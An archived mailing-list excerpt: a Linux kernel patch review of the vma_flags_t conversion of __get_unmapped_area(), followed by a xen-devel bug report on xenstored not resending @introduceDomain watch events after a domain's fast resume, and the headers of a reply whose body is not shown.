	Thomas Bogendoerfer <tsbogend@alpha.franken.de>, Madhavan Srinivasan <maddy@linux.ibm.com>, 
	Michael Ellerman <mpe@ellerman.id.au>, Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
	Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
	David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
	Lucas Stach <l.stach@pengutronix.de>, Inki Dae <inki.dae@samsung.com>, 
	Seung-Woo Kim <sw0312.kim@samsung.com>, Kyungmin Park <kyungmin.park@samsung.com>, 
	Krzysztof Kozlowski <krzk@kernel.org>, Peter Griffin <peter.griffin@linaro.org>, 
	Jani Nikula <jani.nikula@linux.intel.com>, Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
	Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin <tursulin@ursulin.net>, 
	Rob Clark <robin.clark@oss.qualcomm.com>, Dmitry Baryshkov <lumag@kernel.org>, 
	Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
	Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, Sandy Huang <hjc@rock-chips.com>, 
	Heiko =?utf-8?Q?St=C3=BCbner?= <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>, 
	Thierry Reding <thierry.reding@kernel.org>, Mikko Perttunen <mperttunen@nvidia.com>, 
	Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
	Dmitry Osipenko <dmitry.osipenko@collabora.com>, Zack Rusin <zack.rusin@broadcom.com>, 
	Matthew Brost <matthew.brost@intel.com>, Thomas Hellstrom <thomas.hellstrom@linux.intel.com>, 
	Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, Helge Deller <deller@gmx.de>, Benjamin LaHaise <bcrl@kvack.org>, 
	Alexander Viro <viro@zeniv.linux.org.uk>, Christian Brauner <brauner@kernel.org>, 
	Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>, 
	David Hildenbrand <david@kernel.org>, Baolin Wang <baolin.wang@linux.alibaba.com>, 
	"Liam R . Howlett" <liam@infradead.org>, Nico Pache <npache@redhat.com>, 
	Ryan Roberts <ryan.roberts@arm.com>, Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
	Lance Yang <lance.yang@linux.dev>, Hugh Dickins <hughd@google.com>, 
	Vlastimil Babka <vbabka@kernel.org>, Mike Rapoport <rppt@kernel.org>, 
	Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>, Jann Horn <jannh@google.com>, 
	Pedro Falcato <pfalcato@suse.de>, Kees Cook <kees@kernel.org>, Jaroslav Kysela <perex@perex.cz>, 
	Takashi Iwai <tiwai@suse.com>, linux-mips@vger.kernel.org, linux-kernel@vger.kernel.org, 
	linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org, 
	linux-arm-kernel@lists.infradead.org, linux-samsung-soc@vger.kernel.org, 
	intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
	nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, 
	virtualization@lists.linux.dev, intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
	linux-fbdev@vger.kernel.org, linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
	linux-mm@kvack.org, linux-sound@vger.kernel.org
Subject: Re: [PATCH 03/13] mm: convert __get_unmapped_area() to use
 vma_flags_t
Message-ID: <akzR7JQuaKEQpH5Y@lucifer>
References: <cover.1782760670.git.ljs@kernel.org>
 <b1ad7c4443f5cba622e4c48c5a9ef15427001a93.1782760670.git.ljs@kernel.org>
 <DJRZGEZU5ESV.3IP5LEAUQJCBK@nvidia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <DJRZGEZU5ESV.3IP5LEAUQJCBK@nvidia.com>
X-purgate-ID: tlsNG-4011c0/1783419443-D693DDDE-3880C479/0/0
X-purgate-type: clean
X-purgate-size: 2630

On Mon, Jul 06, 2026 at 10:28:24PM -0400, Zi Yan wrote:
> On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> > Update __get_unmapped_area() to be parameterised by vma_flags_t rather than
> > vm_flags_t as part of the effort to move VMA flags from a system word to a
> > bitmap.
> >
> > We cascade the changes up to arch_get_unmapped_area_topdown() and
> > arch_get_unmapped_area(), where, for now, we use vma_flags_to_legacy() in
> > order to propagate the VMA flags.
> >
> > No functional change intended.
> >
> > Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> > ---
> >  fs/hugetlbfs/inode.c     |  3 ++-
> >  include/linux/huge_mm.h  | 10 +++++-----
> >  include/linux/mm.h       |  6 ++++--
> >  include/linux/sched/mm.h | 12 ++++++------
> >  mm/huge_memory.c         | 21 ++++++++++++---------
> >  mm/mmap.c                | 27 ++++++++++++++-------------
> >  6 files changed, 43 insertions(+), 36 deletions(-)
> >
> <snip>
>
> > diff --git a/include/linux/sched/mm.h b/include/linux/sched/mm.h
> > index 95d0040df584..b301ec90740a 100644
> > --- a/include/linux/sched/mm.h
> > +++ b/include/linux/sched/mm.h
> > @@ -193,12 +193,12 @@ unsigned long mm_get_unmapped_area(struct file *filp, unsigned long addr,
> >  				   unsigned long len, unsigned long pgoff,
> >  				   unsigned long flags);
> >
> > -unsigned long mm_get_unmapped_area_vmflags(struct file *filp,
> > -					   unsigned long addr,
> > -					   unsigned long len,
> > -					   unsigned long pgoff,
> > -					   unsigned long flags,
> > -					   vm_flags_t vm_flags);
> > +unsigned long mm_get_unmapped_area_vmaflags(struct file *filp,
> > +					    unsigned long addr,
> > +					    unsigned long len,
> > +					    unsigned long pgoff,
> > +					    unsigned long flags,
> > +					    vma_flags_t vma_flags);
>
> Want to use two-tab indentation while at it?

Yeah sure will fix on respin!

>
> <snip>
>
> > @@ -812,19 +811,20 @@ arch_get_unmapped_area_topdown(struct file *filp, unsigned long addr,
> >  }
> >  #endif
> >
> > -unsigned long mm_get_unmapped_area_vmflags(struct file *filp, unsigned long addr,
> > -					   unsigned long len, unsigned long pgoff,
> > -					   unsigned long flags, vm_flags_t vm_flags)
> > +unsigned long mm_get_unmapped_area_vmaflags(struct file *filp, unsigned long addr,
> > +					    unsigned long len, unsigned long pgoff,
> > +					    unsigned long flags, vma_flags_t vma_flags)
>
> Ditto.

Ack will fix!

>
> LGTM.
>
> Reviewed-by: Zi Yan <ziy@nvidia.com>

Thanks!

>
>
> --
> Best Regards,
> Yan, Zi
>

Cheers, Lorenzo


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 13:08:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 13:08:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356217.1610855 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh5Wf-0001iw-BT; Tue, 07 Jul 2026 13:07:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356217.1610855; Tue, 07 Jul 2026 13:07:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh5Wf-0001ip-83; Tue, 07 Jul 2026 13:07:49 +0000
Received: by outflank-mailman (input) for mailman id 1356217;
 Tue, 07 Jul 2026 13:07:47 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@swg.vates.tech>)
 id 1wh5Wd-0001id-2r
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 13:07:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh5Wa-00DnJy-Rr
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:07:44 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@swg.vates.tech>)
 id 6a4cfa14-e002-0a2a0a5209dd-0a2a450b83dc-34
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:07:44 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@swg.vates.tech>)
 id 6a4cfa20-ac48-0a2a450b0019-b9ff1c2288f3-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:07:44 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f3cb107e000080a8.001 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Tue, 07 Jul 2026 13:07:42 +0000
Received: from [192.168.0.158]
 (cpc92322-cmbg19-2-0-cust1759.5-4.cable.virginm.net [86.26.38.224])
 (Authenticated sender: andriy.sultanov)
 by mail2.vates.fr (Postfix) with ESMTPSA id DED6C8117D
 for <xen-devel@lists.xenproject.org>; Tue,  7 Jul 2026 15:07:41 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=hVfjwUIS3tfqkIiOfhuLpu2jTDTVM0rzyTu+kCSXSKg=;
 h=from:subject:date:message-id:to:mime-version:content-type:feedback-id;
 b=YJg72+E49WcpLdEjpXJITLlFvdbzTkjJDBMXPIZXB8vmuD8NCu2l6nTIGdBe3pgitcOZbVxYD
 0JN6Wgx6Nklk4faiFsH9VvZr4+UYEJSMd8tnjLYWsi6LFzNFmovLjOP1fRTYik2YCtdjVh/Eq/4
 DYrEQyM8jXVnCVbzRZRmrjphCKdrvdgOCMYvtEXbUgmHvKkKKd3Ci+TYJ7k/zFMiog4vUYPXMvJ
 nH28QT1I+JR7HRiJfKSOVLhbMq6MmFv47a/LlkMemd0O6DNJJhTeqWeGISTT5p+wKg52PnDYIQ5
 +AFHcmomOTySHRV5Ucs+YrPTg3dE8g9F4M/cs3ezNUOQ==
X-Zone-Loop: 337b730b8dda415fddc99db6c93642f65fe5baa20eff
x-campaign-type: default
x-transaction-id: a3bec5c5-1e44-42c0-85b4-9cb9ed4b9a8b
x-swg-uid: 01-cd59d248-fd84-4716-9b88-18b76296608b
X-Mailer: Sweego
Message-ID:
 <1783429662.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@vates.tech>
x-swg-bid: 1783429662.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Tue, 7 Jul 2026 14:07:41 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: Xen-devel <xen-devel@lists.xenproject.org>
From: Andrii Sultanov <andriy.sultanov@vates.tech>
Subject: Improper handling of fast-resumed domains by O/Cxenstored
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.368.301e80a01c6907ba.19f3cb1052b.d0574539bf2a488b=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783429661999
X-purgate-ID: tlsNG-42698a/1783429664-3BF36220-B4C51175/0/0
X-purgate-type: clean
X-purgate-size: 2820

---=Part.368.301e80a01c6907ba.19f3cb1052b.d0574539bf2a488b=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Both Oxenstored and Cxenstored don't properly handle a shutdown domain
(even if shutdown_code =3D=3D SHUTDOWN_suspend) coming back because of
xc_domain_resume(fast=3D1)=2E

Cxenstored correctly sends @introduceDomain watch events on the
initial INTRODUCE call:

 =C2=A0 =C2=A0 IN 0x1f78610 20260619 15:45:37 INTRODUCE (1 1044476 2 )
 =C2=A0 =C2=A0 CREATE connection 0x1f75870
 =C2=A0 =C2=A0 OUT 0x1f76f00 20260619 15:45:37 WATCH_EVENT (@introduceDoma=
in domlist )
 =C2=A0 =C2=A0 OUT 0x1f76ce0 20260619 15:45:37 WATCH_EVENT (@introduceDoma=
in=20
squeezed )
 =C2=A0 =C2=A0 OUT 0x1f77c40 20260619 15:45:37 WATCH_EVENT (@introduceDoma=
in=C2=A0 )
 =C2=A0 =C2=A0 OUT 0x1f78610 20260619 15:45:37 WATCH_EVENT (@introduceDoma=
in=C2=A0 )
 =C2=A0 =C2=A0 OUT 0x1f78610 20260619 15:45:37 INTRODUCE (OK )

And it sends @releaseDomain when it notices dominfo=2Eshutdown (without
checking for shutdown_code):

 =C2=A0 =C2=A0 OUT 0x1f76f00 20260619 15:46:56 WATCH_EVENT (@releaseDomain=
 domlist )
 =C2=A0 =C2=A0 OUT 0x1f76ce0 20260619 15:46:56 WATCH_EVENT (@releaseDomain=
 squeezed )
 =C2=A0 =C2=A0 OUT 0x1f77c40 20260619 15:46:56 WATCH_EVENT (@releaseDomain=
 )
 =C2=A0 =C2=A0 OUT 0x1f78610 20260619 15:46:56 WATCH_EVENT (@releaseDomain=
 )

But after fast resume, even though INTRODUCE returns successfully,
@introduceDomain watch events are not re-sent:

 =C2=A0 =C2=A0 IN 0x1f78610 20260619 15:47:06 INTRODUCE (1 1044476 2 )
 =C2=A0 =C2=A0 <----- no watch events
 =C2=A0 =C2=A0 OUT 0x1f78610 20260619 15:47:06 INTRODUCE (OK )

Oxenstored likewise avoids sending @introduceDomain for "re-connecting"
domains (which is what it thinks a domain coming back like this looks like=
)=2E

RESUME does not re-send @introduceDomain either, it just marks the domain =
as
live internally in Cxenstored and is a no-op for Oxenstored=2E

This missing notification leads to all kinds of issues since the toolstack=
s
don't notice the resumed domain is back (at least on the XAPI side)=2E

Is this a real issue or is the toolstack holding xenstored wrong here?

If it is, I see two possible options for handling this:

1) Don't consider SHUTDOWN_suspend domains as dead, only drop them when th=
ey
 =C2=A0 =C2=A0are definitively gone=2E This avoids the @releaseDomain noti=
fication
 =C2=A0 =C2=A0and hence doesn't require another @introduceDomain

2) Do actually send out @introduceDomain for thought-to-be-shutdown domain=
s
 =C2=A0 =C2=A0on INTRODUCE

Thoughts?



-- 
 | Vates 

XCP-ng & Xen Orchestra - Vates solutions

web: https://vate=
s=2Etech
---=Part.368.301e80a01c6907ba.19f3cb1052b.d0574539bf2a488b=---


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 13:28:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 13:28:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356228.1610864 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh5qt-0004aw-UB; Tue, 07 Jul 2026 13:28:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356228.1610864; Tue, 07 Jul 2026 13:28:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh5qt-0004ap-RP; Tue, 07 Jul 2026 13:28:43 +0000
Received: by outflank-mailman (input) for mailman id 1356228;
 Tue, 07 Jul 2026 13:28:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wh5qs-0004aQ-7S
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 13:28:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh5qr-006QUN-8q
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:28:41 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4cff09-5cb7-0a2a0a5109dd-0a2a450486b2-0
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:28:41 +0200
Received: from [40.107.209.33]
 (helo=PH8PR06CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4cff07-a01d-0a2a45040019-286bd121f638-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:28:41 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by PH0PR03MB989332.namprd03.prod.outlook.com (2603:10b6:510:120::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Tue, 7 Jul
 2026 13:28:37 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0181.008; Tue, 7 Jul 2026
 13:28:37 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ue8rYCbCnZUeUw8x9gopeIMco21v1jG5ypUN5/o3v/AgvxRu36BaxBHAqlynaNdibiLwekJj7b3ouXEmumIf3q/fkhx9YxyxS1PeXyiCumBrnGc4QGLFWK7e0iX9sGA4fofCrXU+DFfMvDYPG5adDBB5p9LCVY6Tweo1O0I9Et2uN2IBox9ZPaf3KDBEF8XtlQZ5X5EEFlgq1+UPdOnj4dWlb5czgJA8pPv56WDlRPDqZZW6y6JBapq423h37tu9mMBt88ISxqumBGZGQqzwSCQaUK/P9kx6rz6Qa7uuatgY2Mfw0RzEH43aRjWEtSGlUU4KTfk3BG6BD56uicobqQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=AKhqQh1iBQCM+PR/TjEA42YAii45Pn6E3zHgXupnkDc=;
 b=rie7GtF83hBdrBnTLo5Kpbyj98xvmtCacgGfMKnXS/a1sttBVgnb1JO3yWjURf1LeCppNBM8mjNVsxxfUQi+dUknB43w9Vs+E0neDw0m78l81WYUPcOfjpzxKGyM9u7VlL+INL4VOlcfSraM/+qeq4o6C6VvvmVJNdChk75mb0rhHSn1ouPD83f/URNLzgk40R8rJdaNBZTPqP7LoHiAQlgbtiyAdbqtnAW8TmHE/vo/GGnkoi0Piphh92j2qxfalcY0P/6JRVOGZ91/WYKo7FZcAMdg/aiHSaon1Gk3TMLRLQP6pdsbyVPjgcWY1IYf17kaljIdpoOxh2tevQ/dwQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=AKhqQh1iBQCM+PR/TjEA42YAii45Pn6E3zHgXupnkDc=;
 b=aoUkCQCsbwd74On7PYyZrNaA5E72IAKASFrmlAZ5TISyalBkj1XVilr/61sQ0ASteoKyWYkXuBGtOY12XOvnl1z9zPu812wttChEp+KK0K3vehw81A+iEDXsWPHx4a+ypoG28GT6soKiLB5ONsM9pUtrauUrm4SGKyPsY+ViQiE=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <31f835dc-a5c9-44f0-911e-44205361c808@citrix.com>
Date: Tue, 7 Jul 2026 14:28:31 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: Improper handling of fast-resumed domains by O/Cxenstored
To: Andrii Sultanov <andriy.sultanov@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <1783429662.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29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T6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1783429662.8631fc262581453bbf619ec5b2062170.19f3cb107e000080a8@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO2P265CA0490.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:13a::15) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|PH0PR03MB989332:EE_
X-MS-Office365-Filtering-Correlation-Id: 986d2446-3a52-4ab9-e15f-08dedc2ba5ef
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|6133799003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	YYMPZPtUoKaiP2XTxa3dD2zvnhuQq7GZbiGP1OM+EtOn0nqf1qhhiZSzadS6p0B3BN/2CfsONzg6uOD60MerpGBdBv8kjL3ikCpJXXdV8btPCYbZYcTYHPWkNDRCNxNUvQEJBFTKh8OmeQLQLR0is3OrC2XggIZ7Q+GBtEbSuM1aC+D0elcOryosHXBHDfe/h4nBn0/UTpU95+cEQH3JQCFdC6MiRV2JWkXItJUwVMeyqTNb9FaOpyobVFG6bfrrvEPp92odEqhTEAcKmJp8/KF2n21P9712DxWsoCYd+2d22CFr+u721IzQyl48XOUrryN48HCxlBKdEA/pJZojeyPa14s1NOGZRRfE++j4EcU4t4nwrzI73Ee8xNHH9Y1LjnD6bRi5IrR73Pt2JRga5iziBPOQVDd3dO47Q+KDx9iL6hWM8WYxxs28sNX6aO6p7U9JDP+gYWZ+2oK+Wg/xxG6Qrzz0VgxsubfHL2ERPz7sYLsrG3DM5ATfWyLNULs2GSN+2TPq82lERpYKgUkvl8Pp41GBwNyFKEN2bwjOGnmT3u9VtXC5OAoLZWFTzYWfY9dVForn6U7tSM96Jb3qGS++5/PB1cwOsnC8WcENfs5HTPXK8sjpEaqPwldv2zDj4OjRhQ0s9Y2FnGUsUugC6thvuovrPnwips1nEKsh4Lk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(6133799003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?Y1pVazRnaEpIR2o4SmpyLzgrRm91V2kvK3JPamc0MitWQm1vRVF0QlY0dUwv?=
 =?utf-8?B?VCtYMXZhSWJXUWhkblNGdmp6YzFHN2p6WHg2cGdWbGNnRHZiTWMzWjBqNXNB?=
 =?utf-8?B?N2lyS3ZXRmlwV0wyMHVQT2x2bThYUVAzRlY5NzBDNGdJLzBtT2ZGdm1yaksr?=
 =?utf-8?B?OTZxdE04YUM5UlYzVWJFL0c2dUFxOXBDdzUzZ04vamJxTnhiZTlSV0twZ0tu?=
 =?utf-8?B?ZXREL2ZibTgwK2t3QUpHU05WRlFjMGNWNTRQQVA1M25ENWZqbmJ1aVloRUdG?=
 =?utf-8?B?WHhBSE12OFExSlJpTkthektJSzhTbEx0azNsWkJ3VGRDdjZjTjlIbmVsdnJ0?=
 =?utf-8?B?Tng0UkJYQUhFNnY1NE0wcG4vWGs0VDlWS3V1dFEwMWdMbGhlWlZXck84SEZT?=
 =?utf-8?B?elV6SFN2MUN5R2FFc0w2TXU3VzdXTkZXd2RjSVhOaFFsOWlFdlg3L2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B2MllZT1Y0RVVXV25EYzJ2Z3ZEcCtz?=
 =?utf-8?B?ZmVKOS9nMVh5cWxza29rTVVaYWhKaFRTL1pNaTc1Z3dyamNHV0JiQnZWYmQ3?=
 =?utf-8?B?Q25uQ2g1TVpGWHhHbXZZMkFQWm1zdUt6NnlBWTgyQy9nSEE1OTZvZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 986d2446-3a52-4ab9-e15f-08dedc2ba5ef
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 07 Jul 2026 13:28:36.9733
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: lXLUkIIuD38WM6jHBFPpno0wpyEOTJemh2rWN+ET/VxPIR3bAAJNh576yr0AQ3GRruK1OGsS5a00CsIpNHLL52bTEkOAT9RB4SwYwEatMDs=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR03MB989332
